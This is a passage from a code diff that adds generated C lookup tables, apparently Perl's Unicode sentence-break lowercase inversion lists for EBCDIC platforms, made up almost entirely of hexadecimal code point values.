+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x210A,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2114,
+	0x212F,
+	0x2130,
+	0x2134,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x213E,
+	0x2146,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE5,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69E,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA78F,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xA7F8,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D455,
+	0x1D456,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D4B6,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D51E,
+	0x1D538,
+	0x1D552,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A6,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6E2,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D71C,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D756,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D790,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CA,
+	0x1D7CB,
+	0x1D7CC,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__LO_invlist[] = { /* for EBCDIC 037 */
+	1287,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BB,
+	0x1BD,
+	0x1C0,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x294,
+	0x295,
+	0x2B9,
+	0x2C0,
+	0x2C2,
+	0x2E0,
+	0x2E5,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37A,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1DC0,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x210A,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2114,
+	0x212F,
+	0x2130,
+	0x2134,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x213E,
+	0x2146,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
